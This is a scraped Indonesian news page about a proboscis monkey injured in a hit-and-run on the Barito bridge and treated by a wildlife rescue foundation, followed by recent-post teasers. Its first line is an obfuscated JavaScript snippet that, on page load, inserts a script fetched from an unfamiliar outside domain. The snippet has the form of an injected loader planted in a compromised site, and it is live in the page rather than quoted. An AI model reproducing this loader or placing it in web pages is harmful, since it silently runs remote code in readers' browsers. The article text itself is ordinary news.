(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Lingkungan

Sempat Ditangani Bidan, ‎SBI Evakuasi Bekantan Korban Tabrak Lari di Jembatan Barito


KANALKALIMANTAN.COM, MARABAHAN – Seekor Bekantan menjadi korban tabrak lari di atas jembatan Barito, Sabtu (11/9/2020). Bekantan itu akhirnya berhasil diselamatkan dari kematian oleh Tim Satgas Bekantan dari Yayasan Sahabat Bekantan Indonesia (SBI).

Cepat tanggap dilakukan Tim Satgas Bekantan dari Yayasan Sahabat Bekantan Indonesia (SBI). Usai menerima laporan warga terkait tabrak lari hewan khas pulau Kalimantan ini, pihak SBI langsung melakukan evakuasi bekantan dari laporan warga. Bekantan jenis kelamin betina ini, ditemukan warga terluka di atas jembatan Barito. Diduga menjadi korban tabrak lari.

Ketua SBI, Amalia Rezeki mengaku mendapat informasi dari masyarakat, tentang keberadaan seekor bekantan yang tergeletak di atas jembatan Barito dengan luka yang cukup serius. Tangan kanannya terdapat luka sobek cukup dalam, dagu dan mulut mengeluarkan darah.

“Kami terima info ada bekantan yang terluka, dari masyarakat. Setelah berkoordinasi dengan Balai Konservasi dan Sumber Daya Alam (BKSDA) Kalsel, mereka minta untuk amankan dulu, dan bersama tim dari BKSDA meluncur ketempat lokasi kejadian,” cerita Amalia Rezeki.

Amalia Rezeki menceritakan, menurut Nairullah salah seorang anggota tim pemadam kebakaran Anjir Muara, monyet berhidung mancung, maskot Kalsel ini, telah dilakukan pertolongan pertama oleh seorang bidan desa. Memberikan pengobatan di sekitar luka dan diperban untuk menghentikan pendarahan. Kemudian dibawa ke Bekantan Rescue Center di Banjarmasin untuk penanganan lebih lanjut.

Satwa dilindungi itu, sebut Amalia Rezeki, juga sudah ditangani tim dokter hewan dari SBI yang dipimpin drh Adinda Anina Aprillyani Hidayat. “Sementara ini diberikan stimulan lebih dulu, untuk mengembalikan kondisi mentalnya yang sempat terguncang pasca penanganan oleh warga, serta menjadi tontonan warga masyarakat setempat,” kata Amel.

Sementara itu dokter hewan Adinda Anina Aprillyani Hidayat mengatakan tindakan medis yang mereka lakukan berupa memberikan injeksi obat penenang. Serta tindakan anestesi, mengingat luka terbuka dibeberapa bagian tubuh bekantan yang harus dijahit. Serta diberi anti nyeri dan antibiotik.

“Tentunya kami berharap bekantan ini dapat tertolong dan sembuh. Agar bisa dilepas liarkan dikemudian hari,” jelas dokter hewan yang menangani bekantan naas tersebut. (kanalkalimantan.com/rdy)

Reporter : Rdy
Editor : Bie

Al Ghifari

Recent Posts

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

13 jam ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

17 jam ago

Laka Maut di Kawasan Murdjani Banjarbaru, Satu Pemotor Jalan Melawan Arus

KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More

19 jam ago

Debit BRI Multicurrency: Solusi Transaksi Global Tanpa Biaya Tambahan

KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More

20 jam ago

Peringatan HUT ke-25 DWP di Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More

20 jam ago

Menutup Tahun Pemko Banjarbaru Raih Dua Penghargaan

KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More

23 jam ago

This website uses cookies.